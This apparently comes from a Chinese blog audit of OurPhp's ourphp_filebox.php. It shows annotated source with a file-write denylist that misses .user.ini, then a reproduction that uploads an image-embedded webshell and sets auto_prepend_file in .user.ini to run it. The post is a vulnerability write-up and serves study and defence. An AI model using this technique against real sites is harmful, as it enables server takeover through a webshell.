php代码审计-OurPhp 后台任意文件上传getshell

OurPhp 后台任意文件上传getshell

思路

漏洞存在 ourphp_filebox.php 文件由于未过滤上传.user.ini文件我们可以自定义一个.user.ini文件,再上传一个图片马getshell。

ourphp_filebox.php文件 从206行开始看

<?php

include '../../config/ourphp_code.php';
include '../../config/ourphp_config.php';
include '../../function/ourphp_function.class.php';

function listDirFiles($dir)
{
    $arr = array();
    if (is_dir($dir)) {//如果是目录,则进行下一步操作
        $d = opendir($dir);//打开目录
        if ($d) {//目录打开正常
            while (($file = readdir($d)) !== false) {//循环读出目录下的文件,直到读不到为止
                if  ($file != '.' && $file != '..') {//排除一个点和两个点
                    if (is_dir($file)) {//如果当前是目录
                        $arr[$file] = listDirFiles($file);//进一步获取该目录里的文件
                    } else {
                        $arr[] = $file;//记录文件名
                    }
                }
            }
        }
        closedir($d);//关闭句柄
    }
    return $arr;
}

function format($ourphp)
{
    $format = 'ico_txt.png';
    $formatfont = '不可编辑文件';
    if(strstr($ourphp,".html"))
    {
        $format = 'ico_html.png';
        $formatfont = 'html文件可编辑';
    }
    if(strstr($ourphp,".php"))
    {
        $format = 'ico_php.png';
        $formatfont = 'php文件可编辑';
    }
    if(strstr($ourphp,".css"))
    {
        $format = 'ico_css.png';
        $formatfont = 'css文件可编辑';
    }
    if(strstr($ourphp,".js"))
    {
        $format = 'ico_js.png';
        $formatfont = 'js文件可编辑';
    }

    return array($format,$formatfont);
}

function pw($a,$b)
{
    global $db,$ourphp;
    session_start();
    if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
         
        $_SESSION['ourphp_out'] = "ourphp";
        
    }else{

        if(empty($_SESSION['ourphp_out']))
        {
            include 'ourphp_checkadmin.php';

        }else{

            session_start();

        }

    }
}

function filearray($ourphp)
{
    $a = array(
        'wap' => '移动端模板',
        'default' => '默认模板',
        'user' => '会员模板',
        'images' => '图片目录',
        'js' => 'JS文件目录',
        'css' => '样式文件目录',
    );

    if(isset($a[$ourphp]))
    {
        return $a[$ourphp];
    }else{

        if(strstr($ourphp,".html") || strstr($ourphp,".css") || strstr($ourphp,".js") || strstr($ourphp,".php") || strstr($ourphp,".jpg") || strstr($ourphp,".jpeg") || strstr($ourphp,".png") || strstr($ourphp,".gif"))
        {
            $format = format($ourphp);
            return $format[1];
        }else{
            return "模板目录";
        }
    }
    
}

$v = (empty($_GET['validation']))? "0" : $_GET['validation'];
$c = (empty($_GET['code']))? "0" : $_GET['code'];
pw($v,$c);
if(isset($_GET['out'])){
    unset($_SESSION['ourphp_out']);
}

$list = '';
if(!isset($_GET['path']))
{

    if(empty($_SESSION['ourphp_out']))
    {
        $file = listDirFiles('../../templates'); 
    }else{
        $file = listDirFiles('../../'); 
    }
    
    foreach ($file as $op) {
        if(!strstr($op,".")){
        $list .= '
        <li>
                <a href="?path='.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
        </li>
        ';
        }
    }

}else{

    if(empty($_SESSION['ourphp_out']))
    {
        $file = listDirFiles('../../templates/'.$_GET['path']);
        $file2 = '../../templates/'.$_GET['path'];
    }else{
        $file = listDirFiles('../../'.$_GET['path']);
        $file2 = '../../'.$_GET['path'];  
    }


    if(isset($_GET['dir']))
    {
        foreach ($file as $op) {
            if(!strstr($op,".")){
                $list .= '
                <li>
                        <a href="?path='.$_GET['path'].'/'.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
            if(strstr($op,".html") || strstr($op,".css") || strstr($op,".js") || strstr($op,".php") || strstr($op,".htaccess")){

                $format = format($op);
                $list .= '
                <li>
                        <a href="?path='.$file2.'/'.$op.'&edit"><img src="../../skin/'.$format[0].'" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
            if(strstr($op,".jpg") || strstr($op,".jpeg") || strstr($op,".png") || strstr($op,".gif")){
                $list .= '
                <li>
                        <a href="'.$file2.'/'.$op.'" target="_blank"><img src="'.$file2.'/'.$op.'" width="80" height="70"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
        }
    }

    if(isset($_GET['edit']))
    {
        if(isset($_GET['path'])){
            $openfile = file_get_contents($_GET['path']);
            $openfile = str_replace("<textarea", "<ourphp_", $openfile);
            $openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
            $list = '
            <form id="form1" name="form1" method="post" action="?path=edit&ok">
                <div class="boxedit">
                        <textarea id="code" name="code">'.$openfile.'</textarea>
                </div>
                <div class="boxok">

                    <p><a href="#"" onClick=window.open("tags.php","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出模板标签</a></p>
                    <p><a href="#"" onClick=window.open("ourphp_column.php?id=ourphp","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出栏目管理</a></p>
                    <p class="mt-50">
                    <input type="submit" name="Submit" value="保存代码" class="an" />
                    </p>
                </div>
                <input type="hidden" value="'.$_GET['path'].'|'.MD5($_GET['path'].$ourphp['safecode']).'" name="md">
            </form>
                <script id="script">
                var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
                    lineNumbers: true,
                    ineWrapping: true,
                    mode: "markdown"
                });
                </script>
            ';
        }
    }
        //如果存在Ok参数就进入到这个循环中
    if(isset($_GET['ok']))
    {
        //如果通过post传参 code和md参数其中一个为空都弹出不能为空呀
        if(empty($_POST['code']) || empty($_POST['md'])){
           $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
        }
        //explode() 函数把字符串打散为数组。
        //把post传进来的md参数 以|打散为一个个的数组
        //前端传过来的../../templates/wap/cn/cn_about.html|afe53c30ae3ae72012ba358674198340
        //$md[0]= ../../templates/wap/cn/cn_about.html
        $md = explode("|", $_POST['md']);
        //md5() 函数计算字符串的 MD5 散列。
        //获取到md[0]下表的元素拼接上ourphp变量中safecode的值
        //在ourphp_config.php中ourphp数组中'safecode' => 'JnlZJ72Ij7dVMgr5KxV1dHTTPkWx2HYU2Ij7dV'
        //$md2 == afe53c30ae3ae72012ba358674198340
        $md2 = MD5($md[0].$ourphp['safecode']);
        //$md[1] = afe53c30ae3ae72012ba358674198340
        if($md[1] != $md2){
            $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
        }
        // 接受post请求 参数code
        $code = $_POST['code'];
        //str_replace()函数把$code值中的<ourphp_替换成<textarea
        $code = str_replace("<ourphp_", "<textarea", $code);
        $code = str_replace("</ourphp_>", "</textarea>", $code);
        // $_SESSION 存储 Session 变量
        // session变量中ourphp_out为空就进入下面的if
        //这里判断的$_SESSION['ourphp_out' 是否为空,$_SESSION['ourphp_out变量的赋值是在大概60行if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
        //如果有validation和safecode安全校验码则$_SESSION['ourphp_out']不为空
        if(empty($_SESSION['ourphp_out']))
        {
            
            //strstr函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
            //有就弹出警告
            //判断$code 中是否有<?php,<%这种类似的一句话木马 md[0]中是不是有.asp,.aspx....等等后缀,这里就是漏洞产生的地方,没有过滤掉.user.ini文件
            //我们可以上次.user.ini文件就可以成功的getshell
            if(strstr($code,"<?php") || strstr($code,"<%") || strstr($code,"language=\"php\"") || strstr($code,"language='php'") || strstr($code,"language=php") || strstr($code,"<?=") || strstr($md[0],".php") || strstr($md[0],".asp") || strstr($md[0],".aspx") || strstr($md[0],".jsp") || strstr($md[0],".htaccess"))
            {
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            }else{
                //没有就写入md[0]到$filego变量  md[0]=../../templates/wap/cn/cn_about.html
                //fopen() 函数打开一个文件或 URL
                //"w" (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
                $filego = fopen($md[0],'w');
                //fwrite() 函数将内容写入一个打开的文件中。
                //将$code 写入到$filego 也就是刚刚fopen($md[0],'w');中
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            }
            //如果不为空就判断md[0]中是不是有.asp,.aspx....等等后缀,这里就是漏洞产生的地方,没有过滤掉.user.ini文件
            //我们可以上次.user.ini文件就可以成功的getshell
        }else{
            

            if(strstr($md[0],".asp") || strstr($md[0],".aspx") || strstr($md[0],".jsp") || strstr($md[0],".htaccess"))
            {
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            }else{

                $filego = fopen($md[0],'w');
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            }

        }

    }

}


?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>OurPHP Filebox 1.0.0</title>
<link href="templates/images/ourphp_login.css?<?php echo rand(11111,99999);?>" rel="stylesheet" type="text/css"> 
<script type="text/javascript" src="../../function/plugs/jquery/1.7.2/jquery-1.7.2.min.js"></script>
<link rel='stylesheet' href='../../function/plugs/codemirror/codemirror.css'>
<script src='../../function/plugs/codemirror/codemirror.js'></script>
<script src='../../function/plugs/codemirror/markdown.js'></script>
<script src='../../function/plugs/codemirror/xml.js'></script>
<style type='text/css'>
.CodeMirror{border:1px solid silver;border-width:1px 2px}
.cm-header{font-family:arial}
.cm-header-1{font-size:150%}
.cm-header-2{font-size:130%}
.cm-header-3{font-size:120%}
.cm-header-4{font-size:110%}
.cm-header-5{font-size:100%}
.cm-header-6{font-size:90%}
.cm-strong{font-size:140%}
</style>
</head>
<body>
<div id="tabs0" class="mt-50">
    <ul class="menu0" id="menu0">
        <li class="hover">在线模板编辑</li>
        <li><a href="javascript:window.history.go(-1);">返回上一层</a></li>
    </ul>
    <div class="main" id="main0" style="border-top:2px #488fcd solid; clear:both;">
        <ul class="block filelist">
            <?php
            echo $list;
            ?>
        </ul>
    </div>
</div>
</body>
</html>

复现

首先我们在全局->在线模板登陆处抓包

在这里插入图片描述

在这里插入图片描述

可以看到数据包中有code和md变量,结合上面抓包的内容,会发现code的内容就是模板功能的代码部分,md就是路径。

       if(empty($_POST['code']) || empty($_POST['md'])){
           $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
        }co
        $md = explode("|", $_POST['md']);
        $md2 = MD5($md[0].$ourphp['safecode']);
        if($md[1] != $md2){
            $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
        }

        $code = $_POST['code'];
        $code = str_replace("<ourphp_", "<textarea", $code);
        $code = str_replace("</ourphp_>", "</textarea>", $code);

在这里插入图片描述

内容->图集管理处上传图片马,并记录下路径

{"error":0,"url":"\/function\/uploadfile\/20221025\/20221025205817_80197.jpg"}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

上传**.user.ini**文件并设置,执行文件就包含刚刚的图片马

auto_prepend_file=/function/uploadfile/20221025/20221025205817_80197.jpg

在这里插入图片描述

成功上传

在这里插入图片描述

我们只需要随便执行**.user.ini同路径下Php文件**,该php文件都会去包含我们指定的图片马。

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值